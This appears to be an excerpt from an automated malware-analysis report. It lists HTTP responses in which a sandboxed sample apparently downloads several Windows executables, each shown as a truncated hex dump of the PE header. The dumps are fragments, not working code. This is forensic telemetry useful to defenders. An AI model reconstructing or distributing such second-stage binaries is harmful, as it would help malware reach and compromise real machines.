Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:44 GMTContent-Type: application/octet-streamContent-Length: 380456Last-Modified: Mon, 30 Sep 2024 04:37:24 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2b04-5ce28"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 05 00 00 08 00 00 00 00 00 00 4e bc 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 05 00 4b 00 00 00 00 c0 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 a8 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 c8 ba 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 9c 05 00 00 20 00 00 00 9e 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 c0 05 00 00 06 00 00 00 a0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 a6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 bc 05 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 aa 05 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 58 f1 31 35 d1 e9 51 1a 14 54 9d 77 7b a3 ef 8c 05 fa a9 ca 06 9a b3 9a d5 76 5e 00 22 df fa eb 06 53 a5 d7 8f ee b6 30 5a 6f bc ef 58 93 ac b7 96 f8 15 7c 83 a1 da 8c c7 f3 b1 bf 6f 88 94 d4 a0 41 53 b4 e8 44 a2 12 a6 6e f0 f4 45 0f 65 b6 f7 e2 35 5f f7 30 1b ba 95 ad ae 45 f9 84 06 03 41 aa 9a 85 ab b7 3b bb fa 01 0c 24 dc 33 a6 5a d8 ba 21 68 3b c7 25 16 bc 0f 0b 72 3b 47 0a 8c 75 18 13 f4 52 80 8b 07 24 27 b9 39 d0 b0 ce f2 c7 56 0b 8b 37 02 4f 3f 14 43 92 dd 3a fb 16 fd b4 7c e9 e5 cd 2c 60 32 76 71 85 32 74 be 58 2f 06 67 3d 5e 6e 28 14 ad dd b4 3f 25 4e 12 c8 d5 d4 67 c6 11 96 51 94 25 a2 25 e1 c9 af 49 72 6f 14 30 e1 06 88 48 09 66 d4 2e 77 2b 5e cf cc f7 63 c7 1d f7 69 9e d9 2f 86 27 c3 ae d5 e9 46 fb 7f fd a9 f0 1d c8 a2 cc 12 46 52 f1 45 fa 74 96 c1 05 9d 2b 76 9c 37 53 8d 67 aa ec 17 33 dc f6 ab 8e da 7d a5 28 c8 b8 c0 a7 48 a1 b2 ba 29 17 75 21 5f 35 fb b1 02 59 62 8e 0a 85 74 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:45 GMTContent-Type: application/octet-streamContent-Length: 414248Last-Modified: Mon, 30 Sep 2024 04:37:16 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2afc-65228"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5c 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 22 06 00 00 08 00 00 00 00 00 00 4e 40 06 00 00 20 00 00 00 60 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 4b 00 00 00 00 60 06 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 2c 06 00 28 26 00 00 00 80 06 00 0c 00 00 00 c8 3e 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 20 06 00 00 20 00 00 00 22 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 60 06 00 00 06 00 00 00 24 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 06 00 00 02 00 00 00 2a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 40 06 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 2e 06 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b7 dc 3b 9f 38 e4 60 f0 c6 77 a2 a5 08 0f e5 a0 19 86 ff d4 8b 72 8b 62 1a 84 93 8a e4 20 c2 ed 43 04 47 41 ba f2 7e 7a 78 46 ae 63 c0 40 51 65 ff b9 38 88 d6 05 c1 93 38 24 d9 ec 61 f5 87 e5 87 93 4e f9 1d 21 51 1e 34 66 b5 13 c6 9a 5c 0e 84 ea 1a b4 64 df 14 61 ad 9e 65 39 34 05 db d7 5e 51 2a 38 66 a9 76 e5 02 07 e4 77 e3 57 1c c6 77 48 09 6b 51 f2 f1 1b 2c d2 db bd 33 c3 41 24 23 b9 e0 d8 50 16 8c 9c e2 87 b4 29 cf f4 53 d0 8b ee 6f 81 91 e8 62 2b 67 59 7f 5c 6f ae 8e b1 f0 d1 35 84 6d e5 29 ea 1d 32 1b 74 cc ab 35 d7 43 a6 c5 26 7a 37 ad 89 9d 1d 2d 8f 44 db 9e d9 c5 b8 71 21 11 b8 d6 8e 1f 8f 6f dc f4 e7 a3 b7 14 ba 07 84 d9 57 32 46 9c cb f4 6e 3b bb ee 7e 8a 39 2e 92 c7 e5 09 71 34 18 6c 9e 56 96 0f c6 4f 0c 70 18 6c dc f5 6d 7d e3 a0 27 d3 c4 cf 3a d1 97 45 b9 f6 cb bd e6 99 2f 25 32 ff fb b7 5f 01 c8 67 05 ca c0 3d 19 37 7f 0a d1 e8 96 f6 cf b7 fa 6d 8b 84 e8 d4 e2 1c dc b6 30 5e 87 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:47 GMTContent-Type: application/octet-streamContent-Length: 334376Last-Modified: Mon, 30 Sep 2024 04:36:57 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2ae9-51a28"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ea 04 00 00 08 00 00 00 00 00 00 4e 08 05 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 08 05 00 4b 00 00 00 00 20 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 f4 04 00 28 26 00 00 00 40 05 00 0c 00 00 00 c8 06 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 e8 04 00 00 20 00 00 00 ea 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 20 05 00 00 06 00 00 00 ec 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 05 00 00 02 00 00 00 f2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 08 05 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 f6 04 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da 74 4c 71 2d 7e ec c2 53 dd d7 be 49 a7 c5 39 c2 d8 0b 91 f5 80 f8 a6 ec c6 52 8c bf bc f6 e4 7b ec 64 a2 98 6c 6f f0 35 33 db 20 10 ee 42 c7 4c 66 f8 35 d2 a4 8e 07 62 23 e2 b0 38 46 c0 78 07 c7 69 a2 75 0e 75 65 cd 2b a8 c6 80 d1 ec 28 98 75 79 9f 71 9b ce 9f 7e 81 1a 8d 38 98 7d 23 80 83 9a 83 e5 78 96 52 4e e6 d9 4a b1 81 13 d3 9a 13 f6 d5 14 5f ea 6c 7e 88 a2 32 30 85 9d 8b f0 2c f9 5a ff 45 f9 85 86 dc 23 cd 94 18 e9 69 ce b0 dd c0 8c ef d1 77 e5 48 88 cb 1d f8 08 b0 93 0d 2a fe 0c de 2a 15 86 f0 44 fb c7 b0 a1 1c cd 46 63 0a 08 b7 f1 dc 2f f7 a1 7c 98 2a 1c 77 17 e6 fe f4 d2 6f f9 db 17 c3 32 d5 0d f2 4a b8 ec a1 3c 7f 93 41 28 97 d4 ed 66 83 52 6e da 4a aa 04 11 d4 4a 0f 35 83 a3 cb 3a a3 c2 c2 80 13 00 b2 ff 86 e1 75 e5 48 62 28 24 f2 47 a9 a6 47 09 78 e1 b7 78 21 ba 05 16 c5 4a 2c 98 c4 91 19 69 d1 11 34 ce 1f f6 a3 38 12 5c 47 f5 1f b8 0d eb d4 22 5b 78 1e de 64 f3 11 d8 ce 59 a4 9
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 10:22:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 10:22:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 10:22:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 10:22:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
